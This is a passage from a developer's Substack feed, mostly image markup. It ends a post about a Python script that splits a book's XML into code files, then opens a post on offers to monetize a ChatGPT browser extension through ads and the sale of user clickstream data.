href="https://substackcdn.com/image/fetch/$s_!s5lI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca97463-61d3-47de-be4e-e895a6f009a5_1020x846.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!s5lI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca97463-61d3-47de-be4e-e895a6f009a5_1020x846.png 424w, https://substackcdn.com/image/fetch/$s_!s5lI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca97463-61d3-47de-be4e-e895a6f009a5_1020x846.png 848w, https://substackcdn.com/image/fetch/$s_!s5lI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca97463-61d3-47de-be4e-e895a6f009a5_1020x846.png 1272w, https://substackcdn.com/image/fetch/$s_!s5lI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca97463-61d3-47de-be4e-e895a6f009a5_1020x846.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!s5lI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca97463-61d3-47de-be4e-e895a6f009a5_1020x846.png" width="472" height="391.4823529411765" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7ca97463-61d3-47de-be4e-e895a6f009a5_1020x846.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:846,&quot;width&quot;:1020,&quot;resizeWidth&quot;:472,&quot;bytes&quot;:171076,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!s5lI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca97463-61d3-47de-be4e-e895a6f009a5_1020x846.png 424w, https://substackcdn.com/image/fetch/$s_!s5lI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca97463-61d3-47de-be4e-e895a6f009a5_1020x846.png 848w, https://substackcdn.com/image/fetch/$s_!s5lI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca97463-61d3-47de-be4e-e895a6f009a5_1020x846.png 1272w, https://substackcdn.com/image/fetch/$s_!s5lI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca97463-61d3-47de-be4e-e895a6f009a5_1020x846.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!U5Wm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fa8c3be-bc59-4f78-acee-6d9a54a8b8b6_1156x360.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!U5Wm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fa8c3be-bc59-4f78-acee-6d9a54a8b8b6_1156x360.png 424w, https://substackcdn.com/image/fetch/$s_!U5Wm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fa8c3be-bc59-4f78-acee-6d9a54a8b8b6_1156x360.png 848w, https://substackcdn.com/image/fetch/$s_!U5Wm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fa8c3be-bc59-4f78-acee-6d9a54a8b8b6_1156x360.png 1272w, https://substackcdn.com/image/fetch/$s_!U5Wm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fa8c3be-bc59-4f78-acee-6d9a54a8b8b6_1156x360.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!U5Wm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fa8c3be-bc59-4f78-acee-6d9a54a8b8b6_1156x360.png" width="472" height="146.98961937716263" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7fa8c3be-bc59-4f78-acee-6d9a54a8b8b6_1156x360.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:360,&quot;width&quot;:1156,&quot;resizeWidth&quot;:472,&quot;bytes&quot;:83857,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!U5Wm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fa8c3be-bc59-4f78-acee-6d9a54a8b8b6_1156x360.png 424w, https://substackcdn.com/image/fetch/$s_!U5Wm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fa8c3be-bc59-4f78-acee-6d9a54a8b8b6_1156x360.png 848w, https://substackcdn.com/image/fetch/$s_!U5Wm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fa8c3be-bc59-4f78-acee-6d9a54a8b8b6_1156x360.png 1272w, https://substackcdn.com/image/fetch/$s_!U5Wm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fa8c3be-bc59-4f78-acee-6d9a54a8b8b6_1156x360.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Smells like a directory/file structure to me! </p><p>Assuming I could iteratively parse the XML, track the <em>current hierarchy</em> as I traversed to each code snippet, and also track the <em>ordinality</em> of that snippet, I&#8217;d be able to strip out the whitespace and special characters to generate something like this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JegZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53496e51-8ddb-49d1-82a4-c250d368a5d3_692x280.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JegZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53496e51-8ddb-49d1-82a4-c250d368a5d3_692x280.png 424w, https://substackcdn.com/image/fetch/$s_!JegZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53496e51-8ddb-49d1-82a4-c250d368a5d3_692x280.png 848w, https://substackcdn.com/image/fetch/$s_!JegZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53496e51-8ddb-49d1-82a4-c250d368a5d3_692x280.png 1272w, https://substackcdn.com/image/fetch/$s_!JegZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53496e51-8ddb-49d1-82a4-c250d368a5d3_692x280.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JegZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53496e51-8ddb-49d1-82a4-c250d368a5d3_692x280.png" width="692" height="280" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/53496e51-8ddb-49d1-82a4-c250d368a5d3_692x280.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:280,&quot;width&quot;:692,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:65112,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!JegZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53496e51-8ddb-49d1-82a4-c250d368a5d3_692x280.png 424w, https://substackcdn.com/image/fetch/$s_!JegZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53496e51-8ddb-49d1-82a4-c250d368a5d3_692x280.png 848w, https://substackcdn.com/image/fetch/$s_!JegZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53496e51-8ddb-49d1-82a4-c250d368a5d3_692x280.png 1272w, https://substackcdn.com/image/fetch/$s_!JegZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53496e51-8ddb-49d1-82a4-c250d368a5d3_692x280.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Writing the Extractor</h2><p>Python includes the excellent<code> xml.etree.ElementTree </code>package,  which allows us to traverse an entire XML document depth-first with a simple <code>root.iter()</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EaG6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37a08479-2d30-47a6-ba1a-746f2ea0d121_702x460.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EaG6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37a08479-2d30-47a6-ba1a-746f2ea0d121_702x460.png 424w, https://substackcdn.com/image/fetch/$s_!EaG6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37a08479-2d30-47a6-ba1a-746f2ea0d121_702x460.png 848w, https://substackcdn.com/image/fetch/$s_!EaG6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37a08479-2d30-47a6-ba1a-746f2ea0d121_702x460.png 1272w, https://substackcdn.com/image/fetch/$s_!EaG6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37a08479-2d30-47a6-ba1a-746f2ea0d121_702x460.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EaG6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37a08479-2d30-47a6-ba1a-746f2ea0d121_702x460.png" width="398" height="260.7977207977208" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/37a08479-2d30-47a6-ba1a-746f2ea0d121_702x460.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:460,&quot;width&quot;:702,&quot;resizeWidth&quot;:398,&quot;bytes&quot;:73454,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EaG6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37a08479-2d30-47a6-ba1a-746f2ea0d121_702x460.png 424w, https://substackcdn.com/image/fetch/$s_!EaG6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37a08479-2d30-47a6-ba1a-746f2ea0d121_702x460.png 848w, https://substackcdn.com/image/fetch/$s_!EaG6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37a08479-2d30-47a6-ba1a-746f2ea0d121_702x460.png 1272w, https://substackcdn.com/image/fetch/$s_!EaG6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37a08479-2d30-47a6-ba1a-746f2ea0d121_702x460.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Using the process described above, I threw together <a href="https://github.com/msfrisbie/professional-javascript-for-web-developers-5e/blob/master/extract.py">this python script</a> and fired it up. The thrill of seeing it fire out <a href="https://github.com/msfrisbie/professional-javascript-for-web-developers-5e/tree/master">1,836 neatly organized files</a> in about 5 seconds cannot be overstated. </p><p>I pushed the lot up to GitHub and casually replied to my editor with a link to the repo, pretending this was the plan all along.</p><p><strong>The lazy man lives to fight another day.</strong></p><p></p>]]></content:encoded></item><item><title><![CDATA[The Ugly Business of Monetizing Browser Extensions]]></title><description><![CDATA[A real-world example of the unsavory ways extensions can make a quick buck]]></description><link>https://mattfrisbie.substack.com/p/the-ugly-business-of-monetizing-browser</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/the-ugly-business-of-monetizing-browser</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Thu, 23 Mar 2023 17:11:43 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!1keh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1keh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1keh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg 424w, https://substackcdn.com/image/fetch/$s_!1keh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg 848w, https://substackcdn.com/image/fetch/$s_!1keh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!1keh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1keh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg" width="1280" height="523" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:523,&quot;width&quot;:1280,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:170297,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1keh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg 424w, https://substackcdn.com/image/fetch/$s_!1keh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg 848w, https://substackcdn.com/image/fetch/$s_!1keh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!1keh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5e9c2b6-c331-4bc2-aeaa-fe3685230fc7_1280x523.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Always remember: If you aren't paying for the product, <em>you are the product.</em></p><p>Earlier this year, I was excited by the launch of ChatGPT, and as a weekend side project I launched <a href="https://chrome.google.com/webstore/detail/chatgpt-assistant-use-ai/kldepdcdedfibmjnggmolhffdddbphjg">ChatGPT Assistant</a>, a browser extension to easily send prompts to ChatGPT. I never planned to monetize; my goal was merely to build free software that people would find useful.</p><p>At present, there&#8217;s about 26,000 people with ChatGPT Assistant installed. For a side project, I&#8217;m pretty happy with this. It&#8217;s a modest number compared to other Chrome extensions with hundreds of thousands or millions of users, so I didn&#8217;t think it would draw much attention.</p><p>I was not expecting what would come next. Over the ensuing weeks, people started to come out of the woodwork with monetization opportunities - some of which were quite gross.</p><h1>Third Party Advertising</h1><p>Emails started to come in asking to advertise inside the extension.</p><blockquote><p><em>I'm a fan of&nbsp;ChatGPT Assistant and I really like how convenient and useful it is.</em></p><p><em>Have you considered offering promotional spots to those interested in promoting their products on your extension? I'm interested in promoting my own extension on ChatGPT Assistant and would love to discuss this possibility with you.</em></p><p><em>Let me know if you're open to this.</em></p></blockquote><p>Not surprising, and in my estimation, not particularly nefarious. The open web runs on advertising, and it&#8217;s certainly possible to run ads ethically.</p><p>However, there is one wrinkle with extension pages: they are not subject to adblockers. If an extension developer were to insert ads or tracking inside either the popup or options page, any adblocking software you have installed would have no way of intercepting those requests.</p><h1>Injecting Tracking Scripts</h1><p>A company called <a href="https://datos.live/">Datos</a> reached out to me</p><blockquote><p><em>My name is ___, I am ____ at Datos - a global data analytics provider.<br><br>On behalf of the company, I would like to express our interest in the data partnership with your company.&nbsp;</em></p><p><em>We are looking for partners who can provide user behavior analytics to anticipate customer needs by understanding where they are on the web journey, what information or assistance they need, and what problems they might encounter along the way.<br><br>Would you have interest in scheduling an exploratory discussion? Please share your thoughts and we'll plan accordingly.</em></p></blockquote><p>I was intrigued! I set up a call with them to learn more.</p><p>The company pays various sources to collect anonymized clickstream data, which it then sells it to anyone who wants it: business intelligence analysts, hedge funds, that sort of thing. They wanted data sources with high data quality and at least 100,000 monthly active users.</p><p>At the end of the call, they said they wanted a trial dataset to assess how much they would pay me. Here&#8217;s what sort of stuff they&#8217;re collecting:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!THqL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F16d1cfcd-8937-406c-a36b-f243806bf67d_1408x1114.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!THqL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F16d1cfcd-8937-406c-a36b-f243806bf67d_1408x1114.png 424w, https://substackcdn.com/image/fetch/$s_!THqL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F16d1cfcd-8937-406c-a36b-f243806bf67d_1408x1114.png 848w, https://substackcdn.com/image/fetch/$s_!THqL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F16d1cfcd-8937-406c-a36b-f243806bf67d_1408x1114.png 1272w, https://substackcdn.com/image/fetch/$s_!THqL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F16d1cfcd-8937-406c-a36b-f243806bf67d_1408x1114.png 1456w" sizes="100vw"><img 